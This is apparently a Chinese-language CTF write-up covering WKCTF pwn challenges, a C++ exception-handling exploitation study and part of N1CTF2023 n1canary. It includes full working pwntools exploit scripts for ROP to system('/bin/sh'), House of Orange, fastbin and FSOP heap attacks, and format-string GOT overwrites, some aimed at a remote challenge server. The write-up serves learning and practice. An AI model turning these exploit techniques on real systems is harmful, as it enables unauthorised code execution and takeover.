    payload = 'a'*(0x30)
    addbio(-1, payload)
    p.recvuntil(payload)
    # leak_addr = u64(p.recv(6).ljust(8,b'\x00'))
    leak_addr = recv64_addr()
    libc_base = leak_addr - 0x26d040	# 0x7fd71335b040->0x7fd7130ee000 is -0x26d040 bytes (-0x4da08 words)
    loginfo('libc_base: ', libc_base)
    p.sendlineafter('[y/n]', 'n')

    pop_rdi_ret = libc_base + 0x2a3e5
    system_addr = libc_base + libc.symbols['system']
    binsh_addr = libc_base + libc.search('/bin/sh\x00').next()
    payload = 'a'*(0x60+0x8)
    payload += p64(pop_rdi_ret+1)
    payload += p64(pop_rdi_ret)
    payload += p64(binsh_addr)
    payload += p64(system_addr)
    p.sendlineafter('length: ', '-1')
    p.sendline(payload)
    p.sendlineafter('[y/n]', 'y')

exp()
p.interactive()

Fix 就是将此处的 <= 修改为 <,修改方式是将 ja -> jnb;也可以是修改读入的密码的长度

image-20240719001055931

WKCTF

baby_stack

程序保护如下,GOT 表可写,无 canary

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./2.27-3ubuntu1.6'

栈上数据大放送,甚至不需要构造 payload,输入数字作为对应偏移即可泄出对应数据

  fgets(s, 5, stdin);
  v0 = strtol(s, 0LL, 10);
  snprintf(format, 0x64uLL, "Your magic number is: %%%d$llx\n", v0);
  printf(format);

off-by-null,可以改 rbp 低位为 \x00,效果是在 echo_inner() 函数返回时有一定几率能够抬栈,此时若在上方布置了 ROP 链,则在上层函数 echo() 返回时就能执行到布置的链子,在 ROP 链前添加尽可能多的滑板指令可以提高成功率

int __fastcall echo_inner(_BYTE *a1, int a2)
{
  a1[(int)fread(a1, 1uLL, a2, stdin)] = 0;
  puts("You said:");
  return printf("%s", a1);
}

exp 如下,跑不通多跑几遍

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
ip_port = ['110.40.35.73', 33711]
pwnfile = './pwn'
elf = ELF(pwnfile)
libcfile = './libc-2.27.so'
libc = ELF(libcfile)
# libc = elf.libc

def loginfo(a, b=None):
    if b is None:
        log.info(a)
    else:
        log.info(a + hex(b))

if len(sys.argv) == 2:
    if 'p' in sys.argv[1]:
        p = process(pwnfile)
    elif 'r' in sys.argv[1]:
        p = remote(ip_port[0], ip_port[1])
else:
    loginfo("INVALID_PARAMETER")
    sys.exit(1)

def debug(content=None):
    if content is None:
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p, content)
        pause()

def exp():
    # debug('b *$rebase(0x141E)')
    idx = ''
    p.sendlineafter('continue\n', idx)
    idx += '6'
    p.sendlineafter('number: ', idx)
    p.recvuntil('number is: ')
    libc_addr = int(p.recvline().strip(), 16)
    # print(libc_addr)
    libc_base = libc_addr - 0x3ec7e3
    loginfo('libc_base: ', libc_base)
    p.sendlineafter('(max 256)? ', '256')

    pop_rdi_ret = libc_base + 0x2164f
    system = libc_base + libc.symbols['system']
    binsh = libc_base + libc.search('/bin/sh\x00').next()  
    ret = libc_base + 0x8aa
    rop = p64(pop_rdi_ret)
    rop += p64(binsh)
    rop += p64(system)
    payload = p64(ret)*(32-4) + rop + p64(0)
    p.send(payload)

exp()
p.interactive()

'''
pwndbg> libc
libc : 0x7ff41a3ec000
pwndbg> dist 0x7ff41a7d87e3 0x7ff41a3ec000
0x7ff41a7d87e3->0x7ff41a3ec000 is -0x3ec7e3 bytes (-0x7d8fd words)
'''

easy_heap

2.23 的菜单堆,esit() 函数处限制输入长度的 size 可控,能够实现很大程度的堆溢出

unsigned __int64 edit()
{
  unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
  _DWORD nbytes[3]; // [rsp+4h] [rbp-Ch] BYREF

  *(_QWORD *)&nbytes[1] = __readfsqword(0x28u);
  v1 = 0;
  nbytes[0] = 0;
  puts("Index :");
  __isoc99_scanf("%d", &v1);
  puts("Size :");
  __isoc99_scanf("%d", nbytes);
  if ( nbytes[0] > 0x1000u )
  {
    puts("too large");
    exit(0);
  }
  puts("Content :");
  read(0, *((void **)&chunk_ptr + v1), nbytes[0]);
  return __readfsqword(0x28u) ^ *(_QWORD *)&nbytes[1];
}

难点在于 show() 函数处只能输出 8 个字节,所以想泄出 heap_base 不容易,以及没有 delete() 函数

unsigned __int64 show()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  puts("Index :");
  __isoc99_scanf("%d", &v1);
  write(1, *((const void **)&chunk_ptr + v1), 8uLL);
  return __readfsqword(0x28u) ^ v2;
}

解法就是打 House of orangetop_chunk 链入到 unsorted bin,再切割这个堆块踩出 libc 地址。然后用同样的办法,将新的 top_chunk 链入到 fastbin,其中要注意的是需要控制好伪造的 top_chunk_size 的大小和堆块被切割后的剩余大小,才能被链入目标 bin 链

伪造的 top_chunk_size 字段需要符合下列条件:

  1. top_chunk_size 要大于 MINSIZE
  2. top_chunk_size 字段的 prev_inuse = 1
  3. 堆空间存在页对齐机制,要满足 (top_chunk_addr + top_chunk_size) & 0xfff = 0x000

若伪造的 size 字段不能满足上述条件,触发报错如下

pwn: malloc.c:2401: sysmalloc: Assertion `(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)' failed.

然后利用堆溢出修改 fd 指针,打 fastbin attack,exp 如下

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
ip_port = ['127.0.0.1', 9999]
pwnfile = './pwn'

elf = ELF(pwnfile)
libcfile = './libc-2.23.so'
libc = ELF(libcfile)
# libc = elf.libc

def loginfo(a, b=None):
    if b is None:
        log.info(a)
    else:
        log.info(a + hex(b))

if len(sys.argv) == 2:
    if 'p' in sys.argv[1]:
        p = process(pwnfile)
    elif 'r' in sys.argv[1]:
        p = remote(ip_port[0], ip_port[1])
else:
    loginfo("INVALID_PARAMETER")
    sys.exit(1)

def recv64_addr():
    return u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))

def debug(content=None):
    if content is None:
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p, content)
        pause()

def menu(index):
    p.sendlineafter('>\n', str(index))

def add(size, content='a'):
    menu(1)
    p.sendlineafter('Size :\n', str(size))
    p.sendafter('Content :\n', content)

def edit(index, size, content='a'):
    menu(2)
    p.sendlineafter('Index :\n', str(index))
    p.sendlineafter('Size :\n', str(size))
    p.sendafter('Content :\n', content)

def show(index):
    menu(3)
    p.sendlineafter('Index :\n', str(index))

def exp():
    # debug()
    add(0x68)           # 0
    payload = 'a'*0x68 + p64(0xf91)
    edit(0, len(payload), payload)

    add(0x1000)         # 1
    add(0x10)           # 2
    show(2)

    libc_addr = recv64_addr()
    libc_base = libc_addr - 0x3c5161
    one_gadget = [0x4527a, 0xf03a4, 0xf1247]
    shell = libc_base + one_gadget[2]
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    # pause()
    add(0xf48)          # 3, chunk empty

    # pause()
    add(0x68)           # 4
    payload = 'a'*0x68 + p64(0xf81)
    edit(4, 0x70, payload)
    add(0xf00-0x20)     # 5, edit this chunk
    add(0x100)          # 6

    payload = 'a'*(0xf00-0x20+0x8) + p64(0x71) + p64(malloc_hook - 0x23)
    edit(5, len(payload), payload)

    add(0x68)
    payload = p8(0)*3 + p64(0)*2 + p64(shell)
    add(0x68, payload)
    menu(1)
    p.sendlineafter('Size :\n', str(1))

exp()
p.interactive()

当然也可以使用常规的无 free() 函数的堆题的打法,House of orange + unsorted bin attack + FSOP,这样的话难点在于需要一个堆地址,exp 如下

'''
huan_attack_pwn
'''

import sys
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
binary = './pwn'
libc = './libc-2.23.so'
host, port = "110.40.35.73:33786".split(":")

print(('\033[31;40mremote\033[0m: (y)\n'
    '\033[32;40mprocess\033[0m: (n)'))

if sys.argv[1] == 'y':
    r = remote(host, int(port))
else:
    r = process(binary)

libc = ELF(libc)
elf = ELF(binary)

default = 1
se      = lambda data                     : r.send(data)
sa      = lambda delim, data              : r.sendafter(delim, data)
sl      = lambda data                     : r.sendline(data)
sla     = lambda delim, data              : r.sendlineafter(delim, data)
rc      = lambda numb=4096                : r.recv(numb)
rl      = lambda time=default             : r.recvline(timeout=time)
ru      = lambda delims, time=default     : r.recvuntil(delims,timeout=time)
rpu     = lambda delims, time=default     : r.recvuntil(delims,timeout=time,drop=True)
uu32    = lambda data                     : u32(data.ljust(4, b'\0'))
uu64    = lambda data                     : u64(data.ljust(8, b'\0'))
lic     = lambda data                     : uu64(ru(data)[-6:])
padding = lambda length                   : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
lg      = lambda var_name                 : log.success(f"{var_name} :0x{globals()[var_name]:x}")
prl     = lambda var_name                 : print(len(var_name))
debug   = lambda command=''               : gdb.attach(r,command)
it      = lambda                          : r.interactive()

def Mea(idx):
	sla(b'>\n',str(idx))

def Add(sz,ct=b'a'):
	Mea(1)
	sla(b'Size :\n',str(sz))
	sla(b'Content :\n',ct)

def Edi(idx,sz,ct):
	Mea(2)
	sla(b'Index :\n',str(idx))
	sla(b'Size :\n',str(sz))
	sla(b'Content :\n',ct)
	# sleep(1)

def show(idx):
	Mea(3)
	sla(b'Index :\n',str(idx))

payload=b'a'*(0x408)+p64(0xbf1)
Add((0x400))

Edi(0,len(payload),payload)
Add(0x1000)

Add(0x400)

show(2)
libc_base = u64(rc(6).ljust(8,b'\0')) - 0x61 - 0x3C4B20 + 16672
main_arena = (0x7ffff7bc4b20 - libc_base) + libc_base
io_list_all=libc_base+libc.symbols['_IO_list_all']
sys_addr=libc_base+libc.symbols['system']

# lg('libc_base')

payload=padding(0x400)+p64(0)+p64(0x4b1)
Edi(2,len(payload),payload)
Add(0X600)
Add(0X500)
# pause()
payload=b'a'*(0x508)+p64(0x4d1)
Edi(4,len(payload),payload)

Add(0x500)

payload=b'a'*(0x508)+p64(0xaf1)
Edi(5,len(payload),payload)

Add(0x1000)

# Add(0xac1)
# Add(0xac1)
Add(0X500)
Add(0x5b0)
Add(0x500)

payload=b'a'*(0x508)+p64(0xae1)
Edi(9,len(payload),payload)
Add(0x1000)
Add(0x600)
Add(0x521)
Add(0x4a0)
Add(0x500)
Add(0x500)
Add(0x500)
Add(0x500)

show(13)
heapbase = u64(rc(3).ljust(8,b'\0')) - 0x1ba61

lg('main_arena')
lg('heapbase')
lg('libc_base')
# pause()

p = b'B' * (0x400-0x20)
p += p64(0)
p += p64(0x21)
p += b'B' * 0x10
# fake file
f = b'/bin/sh\x00' # flag overflow arg -> system('/bin/sh')
f += p64(0x61)    # _IO_read_ptr small bin size
#  unsoted bin attack
f += p64(0) # _IO_read_end)
f += p64(io_list_all - 0x10)  # _IO_read_base

#bypass check
# 使fp->_IO_write_base < fp->_IO_write_ptr绕过检查
f += p64(0) # _IO_write_base 
f += p64(1) # _IO_write_ptr

f += p64(0) # _IO_write_end
f += p64(0) # _IO_buf_base
f += p64(0) # _IO_buf_end
f += p64(0) # _IO_save_base
f += p64(0) # _IO_backup_base
f += p64(0) # _IO_save_end
f += p64(0) # *_markers
f += p64(0) # *_chain

f += p32(0) # _fileno
f += p32(0) # _flags2

f += p64(1)  # _old_offset

f += p16(2) # ushort _cur_colum;
f += p8(3)  # char _vtable_offset
f += p8(4)  # char _shrotbuf[1]
f += p32(0) # null for alignment

f += p64(0) # _offset
f += p64(6) # _codecvt
f += p64(0) # _wide_data
f += p64(0) # _freeres_list
f += p64(0) # _freeres_buf

f += p64(0) # __pad5
f += p32(0) # _mode 为了绕过检查,fp->mode <=0 ((addr + 0xc8) <= 0)
f += p32(0) # _unused2

p += f
p += p64(0) * 3 # alignment to vtable
p += p64(heapbase + 0x23010+8) # vtable指向自己
p += p64(0) * 2
p += p64(sys_addr) # _IO_overflow 位置改为system

payload = padding(0x4f8) + p64(0x181)
Add(0x4f8)

Edi(18,len(payload),payload)
Add(0x400)
Edi(19,len(p),p)	

# debug()
Mea(1)

sla(b'Size :\n',str(0x1000))

it()

something_changed

程序保护如下,一个 AARCH64 架构的程序,GOT 表可写,开了 canary 保护

    Arch:     aarch64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

存在栈溢出,格式化字符串漏洞,以及后门函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v4; // x19
  int i; // [xsp+FCCh] [xbp+2Ch]
  char v6[40]; // [xsp+FD0h] [xbp+30h] BYREF
  __int64 v7; // [xsp+FF8h] [xbp+58h]

  v7 = _bss_start;
  read(0, v6, 0x50uLL);
  for ( i = 0; ; ++i )
  {
    v4 = i;
    if ( v4 >= strlen(v6) )
      break;
    if ( (char *)(unsigned __int8)v6[i] == "$" )
      return 0;
  }
  printf(v6);
  return 0;
}

__int64 backdoor()
{
  __int64 v1; // [xsp+18h] [xbp+18h]

  v1 = _bss_start;
  system("/bin/sh");
  return v1 ^ _bss_start;
}

代码里看似是禁用了 "$" 符,但是调试时可以断在 0x400820 这里,看看 cmp 指令比较的两个寄存器的值,X0 是指向 "$" 符的指针

image-20240721021246331

下面是 gpt 的解释,不清楚是出题人的疏漏还是有意为之,总之可以不用去管 "$" 符这个限制

image-20240721021517677

PoC 测出偏移是 14,然后直接使用 fmtstr_payload 这个轮子将 __stack_chk_fail() 函数的 GOT 表改成后门地址

image-20240719171746417

exp 如下

from pwn import *
context(arch='aarch64', os='linux', log_level='debug')
p = process(['qemu-aarch64-static', './pwn'])

def exp():
    payload = fmtstr_payload(14, {0x411018:0x400770}, write_size='short')
    p.sendline(payload)

exp()
p.interactive()

顺便记录下相关的知识点

当时新的 wsl 虚拟机遇到了如下报错

$ qemu-aarch64-static ./pwn
qemu-aarch64-static: Could not open '/lib/ld-linux-aarch64.so.1': No such file or directory

解决方法如下

$ sudo apt-get install gcc-10-aarch64-linux-gnu
$ sudo cp /usr/aarch64-linux-gnu/lib/* /lib/

在运行于 x86_64 架构上的 Ubuntu 系统里查看 arm 交叉编译的可执行文件依赖的动态库

$ readelf -a ./pwn | grep "Shared"
 0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]
 0x0000000000000001 (NEEDED)             Shared library: [ld-linux-aarch64.so.1]

这道异构的调试方法如下,第一个终端运行脚本,注意修改建立连接的语句 p = process(['qemu-aarch64-static', '-g', '1234', './pwn']),然后另起一个终端使用 GDB 连上去

另外 GDB 默认会自动检测并使用目标系统的字节序模式,但以防万一也可以自行设置小端序 pwndbg> set endian little

异构程序的调试和相关指令集学习详见 PowerPC&ARM架构下的pwn初探

$ gdb-multiarch -q -ex "set architecture aarch64" ./pwn
pwndbg> add-symbol-file ./libc.so.6
pwndbg> set endian little
pwndbg> target remote :1234

嫌另起终端麻烦的话可以尝试下面的 exp,打开新世界大门嘻

from pwn import *
context(arch='aarch64', os='linux', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
# p = process(['qemu-aarch64-static', './pwn'])
p = process(['qemu-aarch64-static', '-g', '1234', './pwn'])

def debug(content=None):
    if content is None:
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p, content)
        pause()

def exp():
    debug('''
    # add-symbol-file ./libc.so.6
    target remote :1234
    b *0x400854
    c
    ''')
    payload = fmtstr_payload(14, {0x411018:0x400770}, write_size='short')
    p.sendline(payload)

exp()
p.interactive()

C++异常处理

0x00 前置知识

本节内容针对 Linux 下的 C++ 异常处理机制,重点在于研究如何在异常处理流程中利用溢出漏洞,所以不对异常处理及 unwind 的过程做详细分析,只做简单介绍

异常机制中主要的三个关键字:throw 抛出异常,try 包含异常模块, catch 捕捉抛出的异常,它们一起构成了由 “抛出->捕捉->回退” 等步骤组成的整套异常处理机制。当一个异常被抛出时,就会立即引发 C++ 的异常捕获机制。异常被抛出后如果在当前函数内没能被 catch,该异常就会沿着函数的调用链继续往上抛,在调用链上的每一个函数中尝试找到相应的 catch 并执行其代码块,直到走完整个调用链。如果最终还是没能找到相应的 catch,那么程序会调用 std::terminate(),这个函数默认是把程序 abort

其中,从程序抛出异常开始,沿着函数的调用链找相应的 catch 代码块的整个过程叫作栈回退 stack

然后调试一个 demo 来加深对异常处理机制的理解,目的是去验证下列操作的可行性:

  1. 通过篡改 rbp 可以实现类似栈迁移的效果,来控制程序执行流 ROP
  2. unwind 会检测在调用链上的函数里是否有 catch handler,要有能捕捉对应类型异常的 catch 块;通过劫持 ret 可以执行到目标函数的 catch 代码块,但是前提是要需要拥有合法的 rbp
// exception.cpp
// g++ exception.cpp -o exc -no-pie -fPIC
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void backdoor()
{
    try
    {
        printf("We have never called this backdoor!");
    }
    catch (const char *s)
    {
        printf("[!] Backdoor has catched the exception: %s\n", s);
        system("/bin/sh");
    }
}

class x
{
public:
    char buf[0x10];
    x(void)
    {
        // printf("x:x() called!\n");
    }
    ~x(void)
    {
        // printf("x:~x() called!\n");
    }
};

void input()
{
    x tmp;
    printf("[!] enter your input:");
    fflush(stdout);
    int count = 0x100;
    size_t len = read(0, tmp.buf, count);
    if (len > 0x10)
    {
        throw "Buffer overflow.";
    }
    printf("[+] input() return.\n");
}

int main()
{
    try
    {
        input();
        printf("--------------------------------------\n");
        throw 1;
    }
    catch (int x)
    {
        printf("[-] Int: %d\n", x);
    }
    catch (const char *s)
    {
        printf("[-] String: %s\n", s);
    }
    printf("[+] main() return.\n");
    return 0;
}

编译出来的可执行文件的保护如下,开了 canary 保护

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

输入点 buf 距离 rbp 的距离是0x30

image-20240708170450929

所以测试输入长度分别为0x31和0x39的 PoC,发现会报不同的 crash,合理推测栈上的数据(例如 ret, rbp)会影响异常处理的流程

ve1kcon@wsl:~$ cyclic 48
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa
ve1kcon@wsl:~$ cyclic 56
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaa

能发现无论怎么样都不会输出程序里写在 input() 函数里的 [+] input() return.

这是因为异常处理时从 __cxa_throw() 开始,之后进行 unwind, cleanup, handler, 程序不会再执行发生异常所在函数的剩余部分,会沿着函数调用链往回找能处理对应异常的最近的函数,然后回退至此函数执行其 catch 块后跟着往下运行,途径的函数的剩余部分也不会再执行,自然不会执行到出现异常的函数的 throw 后面的语句,更不会执行到这些函数的 ret

这里就能抛出一个思考了:对 canary 的检测一般在最后的函数返回处,那么在执行异常处理流程时不就能跳过 stack_check_fail() 这个调用了嘛?

image-20240711142258572

下面利用 poc1 = padding + '\x01' 覆盖 rbp 值,可以将断点断在 call _read 指令后面一点的位置,这样就能断下来了,在这里观察到 rbp 的低一字节已被成功篡改为 '\x01'

image-20240711122655006

继续运行至程序报错的位置,最后在 0x401506 这条 ret 指令处出了问题,是错误的返回地址导致的,记录下这个指令地址,后续可以将断点打在这里,观察是否能成功控制程序流

image-20240711122855980

根据这个指令的地址,可以在 IDA 中定位到这是异常处理结束后最终的 ret 指令,所以可以确定是在执行 main 的 handler 时 crash,那么上述报错出现的原因其实就很明显了,是因为最后执行的 leave; ret 使得 ret 的地址变成了 [rbp+8],导致不合法的返回地址。这也意味着在 handler 里就能够完成栈迁移,所以可以尝试通过篡改 rbp 实现控制程序执行提前布置好的 ROP 链

image-20240711163158364

接下来尝试劫持程序去执行 GOT 表里的函数

.got.plt:0000000000404040 off_404040      dq offset fflush        ; DATA XREF: _fflush+4↑r
.got.plt:0000000000404048 off_404048      dq offset read          ; DATA XREF: _read+4↑r
.got.plt:0000000000404050 off_404050      dq offset puts          ; DATA XREF: _puts+4↑r
.got.plt:0000000000404058 off_404058      dq offset __cxa_end_catch

利用 poc2 = padding + p64(0x404050-0x8),运行到上述断点处发现成功调用到了 puts 函数

image-20240711123151272

证明操作1可行

但这种利用方式只适用于 “通过将 old_rbp 存储于栈中来保留现场” 的函数调用约定,以及需要出现异常的函数的 caller function 要存在处理对应异常的代码块,否则也会走到 terminate

为了调试上述说法,对 demo 作了修改,主要改动如下

void test()
{
    x tmp;
    printf("[!] enter your input:");
    fflush(stdout);
    int count = 0x100;
    size_t len = read(0, tmp.buf, count);
    if (len > 0x10)
    {
        throw "Buffer overflow.";
    }
    printf("[+] test() return.\n");
}

void input()
{
    test();
    printf("[+] input() return.\n");
}

这回同样是使用 poc2,但 crash 了

image-20240712131835926

对 demo 重新修改的部分如下

void input()
{
    try
    {
        test();
    }
    catch (const char *s)
    {
        printf("[-] String(From input): %s\n", s);
    }
    printf("[+] input() return.\n");
}

复现成功,这次是在 input 的 handler 里被劫持,而非在 main 了

image-20240712134110648

但是噢,如果是通过打返回地址劫持到另外一个函数的异常处理模块,是没有 “出现异常的函数的 caller function 要存在处理对应异常的代码块” 这层限制的,但这也是后话了

由于调用链 __cxa_throw -> _Unwind_RaiseException,在 unwind 函数里会取运行时栈上的返回地址 callee ret 来对整个调用链进行检查,它会在链上的函数里搜索 catch handler,若所有函数中都无对应类型的 catch 块,就会调用 __teminate() 终止进程。

利用 poc3 = poc2 + 'b'*8 调试一下后面的 unwind 函数的过程,一直运行至 _Unwind_RaiseException+463 发生了 crash,合理猜测是在这调用的函数里作的检测,所有可以观察下此时传参的情况,下断方式是 b *(&_Unwind_RaiseException+463)

image-20240711194350062

这个地方循环执行了几次

第一次,rdx -> 0x4000000000000000

image-20240712011202164

第二次,rdx -> 0x4013a7 (input()+162)

image-20240712012148249

第三次,rdx -> 0x6262626262626262 ('bbbbbbbb')

image-20240712012839855

再琢磨下异常处理机制,能够发现另外一个利用点,就是假如函数A内有能够处理对应异常的 catch 块,是否可以通过影响运行时栈的函数调用链,即更改某 callee function ret 地址,从而能够成功执行到函数A的 handler 呢

下面尝试通过直接劫持 input() 函数的 ret, 可以发现在源码中有定义 backdoor() 函数,但程序中并没有一处存在对该后门函数的引用,利用 poc4 = poc2 + p64(0x401292+1) 尝试触发后门

这里将返回地址填充成了 backdoor() 函数里 try 代码块里的地址,它是一个范围,经测试能够成功利用的是一个左开右不确定的区间(x)

.text:0000000000401283                 lea     rax, format     ; "We have never called this backdoor!"
.text:000000000040128A                 mov     rdi, rax        ; format
.text:000000000040128D                 mov     eax, 0
.text:0000000000401292 ;   try {
.text:0000000000401292                 call    _printf
.text:0000000000401292 ;   } // starts at 401292
.text:0000000000401297                 jmp     short loc_4012FF

可以看见程序执行了后门函数的异常处理模块,复现成功,成功执行到了一个从未引用过的函数,而且程序从始至终都是开了 canary 保护的,这直接造成的栈溢出却能绕过 stack_check_fail() 这个函数对栈进行检测

image-20240711123749447

exp 如下

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
pwnfile = './exc'
p = process(pwnfile)

def debug(content=None):
    if content is None:
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p, content)
        pause()

def exp():
    # debug('b *0x401371')				# call _read 
    # b __cxa_throw@plt
    # b *0x401506						# handler ret
    # b *(&_Unwind_RaiseException+463)  # check ret
    test = 'a'*5
    padding = 'a'*0x30
    # poc = padding + '\n'
    poc1 = padding + '\x01'
    poc2 = padding + p64(0x404050-0x8)
    poc3 = poc2 + 'b'*8
    poc4 = poc2 + p64(0x401292+1)
    p.sendafter('input:', poc4)

exp()
p.interactive()

0x01 N1CTF2023_n1canary

2023/10

程序保护如下

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

非常具有迷惑性的一道题,出题人自行实现了一个 canary,并将它布置在系统 canary 上面 0x10 的地方,但所有 canary 相关的检测其实都是绕不过的,漏洞点是 launch() 函数处的栈溢出,触发点是 raise() 函数处的异常抛出,异常未能正确被捕获并处理,最终是能够避开对栈上 canary 的验证并利用析构函数 ROP

main() 函数逻辑如下

int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rdx
  __int64 v4; // rax
  _QWORD v6[3]; // [rsp+0h] [rbp-18h] BYREF

  v6[1] = __readfsqword(0x28u);
  setbuf(stdin, 0LL, envp);
  setbuf(stdout, 0LL, v3);
  init_canary();												// canary init
  std::make_unique<BOFApp>((__int64)v6);						// *v6 -> vtable for BOFApp+16 (0x4ed510)
  v4 = std::unique_ptr<BOFApp>::operator->((__int64)v6);		// v4 = v6
  (*(void (__fastcall **)(__int64))(*(_QWORD *)v4 + 16LL))(v4);	// call 0x403552 (BOFApp::launch())
  std::unique_ptr<BOFApp>::~unique_ptr((__int64)v6);
  return 0;
}

初始化 sys_canary 并读取用户输入的64个字节作为 user_canary,用来生成自定义 canary,第一个输入点的 user_canary 是往 .bss 段上写的

__int64 init_canary(void)
{
  if ( getrandom(&sys_canary, 64LL, 0LL) != 64 )
    raise("canary init error");
  puts("To increase entropy, give me your canary");
  return readall<unsigned long long [8]>(&user_canary);
}

__int64 __fastcall ProtectedBuffer<64ul>::getCanary(unsigned __int64 a1)
{
  return user_canary[(a1 >> 4) & 7] ^ sys_canary[(a1 >> 4) & 7];
}

这段代码实现了 BOFApp 类的构造函数,首先调用基类构造函数实现了 BOFApp 对象基类部分的初始化,然后将 BOFApp 对象的虚函数表指针设置为 off_4ED510,使得对象能够正确调用其虚函数。通过调试发现,赋值语句执行前 this -> vtable for UnsafeApp+16,执行后 this -> vtable for BOFApp+16

void __fastcall BOFApp::BOFApp(BOFApp *this)
{
  UnsafeApp::UnsafeApp(this);
  *(_QWORD *)this = off_4ED510;
}

创建一个 BOFApp 类的实例,然后调用 BOFApp构造函数初始化对象,跟进后面那个函数发现进行了 *a1 = v1 的操作

__int64 __fastcall std::make_unique<BOFApp>(__int64 a1)
{
  BOFApp *v1; // rbx

  v1 = (BOFApp *)operator new(8uLL);
  *(_QWORD *)v1 = 0LL;
  BOFApp::BOFApp(v1);
  std::unique_ptr<BOFApp>::unique_ptr<std::default_delete<BOFApp>,void>(a1, v1);
  return a1;
}

执行完 std::make_unique<BOFApp>((__int64)v6) 后,栈变量 v6 被重新赋值

image-20240713024135528

于是接下来调用的是 BOFApp::launch() 函数

pwndbg> x/20gx 0x4ed510+0x10
0x4ed520 <vtable for BOFApp+32>:        0x0000000000403552      0x0000000000000000

在 IDA 里计算也是一样的,执行 (*(void (__fastcall **)(__int64))(*(_QWORD *)v4 + 0x10LL))(v4); 语句,即 call *(0x4ED510+0x10)

.data.rel.ro:00000000004ED510 off_4ED510      dq offset _ZN6BOFAppD2Ev
.data.rel.ro:00000000004ED510                                         ; DATA XREF: BOFApp::BOFApp(void)+16↑o
.data.rel.ro:00000000004ED510                                         ; BOFApp::~BOFApp()+9↑o
.data.rel.ro:00000000004ED510                                         ; BOFApp::~BOFApp()
.data.rel.ro:00000000004ED518                 dq offset _ZN6BOFAppD0Ev ; BOFApp::~BOFApp()
.data.rel.ro:00000000004ED520                 dq offset _ZN6BOFApp6launchEv ; BOFApp::launch(void)

最后是对象的析构函数,里面要重点关注的函数的路径是 std::unique_ptr<BOFApp>::~unique_ptr() --> std::default_delete<BOFApp>::operator()(BOFApp*)这里存在函数指针调用,这意味着只需要控制 a2 的值就能控制程序流

__int64 __fastcall std::default_delete<BOFApp>::operator()(__int64 a1, __int64 a2)
{
  __int64 result; // rax

  result = a2;
  if ( a2 )
    return (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)a2 + 8LL))(a2);
  return result;
}

通过逆向分析和调试可知参数 a2 与前面提到的栈变量 v6 有关,所以将断点打在 0x40340D,正常输入,调试一下看传参情况

image-20240714012712486

查看虚函数表指针 +0x8 位置处指向什么函数,0x4038b8

image-20240713032438043

再把断点打在 0x403909,看到这里确实调用到了上述函数

image-20240714021721469

下面介绍漏洞点

第二个输入点存在栈溢出,调用链是 BOFApp::launch(void) --> ProtectedBuffer<64ul>::mut<BOFApp::launch(void)::{lambda(char *)#1}>(BOFApp::launch(void)::{lambda(char *)#1} const&) --> BOFApp::launch(void)::{lambda(char *)#1}::operator()(char *)

__int64 __fastcall BOFApp::launch(void)::{lambda(char *)#1}::operator()(
        __int64 a1,
        __int64 a2,
        int a3,
        int a4,
        int a5,
        int a6)
{
  return _isoc23_scanf((unsigned int)"%[^\n]", a2, a3, a4, a5, a6, a2, a1);
}

下列是 AI 的解释

  1. _isoc23_scanf 根据格式字符串读取输入。格式字符串 "%[^\n]" 表示读取所有非换行符的字符,直到遇到换行符为止。这样写其实就相当于 c 的 gets() 了。
  2. 输入存储:将读取的输入存储在 a2 指向的缓冲区中。
  3. a3, a4, a5, a6 是额外参数,可能用于其他目的。

观察下这个 _isoc23_scanf() 函数,断点打在 0x403547 处观察数据写入的位置

image-20240713152044274

计算输入点与目标指针的距离为 0x70

image-20240713152347866

所以可以利用上述栈溢出去修改自定义 canary,来触发异常,栈回退避开对自定义 canary 和系统 canary 的检测,最后调用到析构函数

这样下来,思路就理清楚了,在 user_canary 处伪造虚函数表指向后门函数,然后利用溢出修改存储在栈上的 BOFApp 对象的虚函数表指针,即变量 v6,在此过程中自定义 canary 一定会被篡改,程序将会raise() 函数里抛出异常,这里是漏洞的触发点,调用链如下
BOFApp::launch(void) --> ProtectedBuffer<64ul>::mut<BOFApp::launch(void)::{lambda(char *)#1}>(BOFApp::launch(void)::{lambda(char *)#1} const&) --> ProtectedBuffer<64ul>::check(void) --> raise(char const*)

bool __fastcall ProtectedBuffer<64ul>::check(unsigned __int64 a1)
{
  __int64 v1; // rbx
  bool result; // al

  v1 = *(_QWORD *)(a1 + 0x48);
  result = v1 != ProtectedBuffer<64ul>::getCanary(a1);
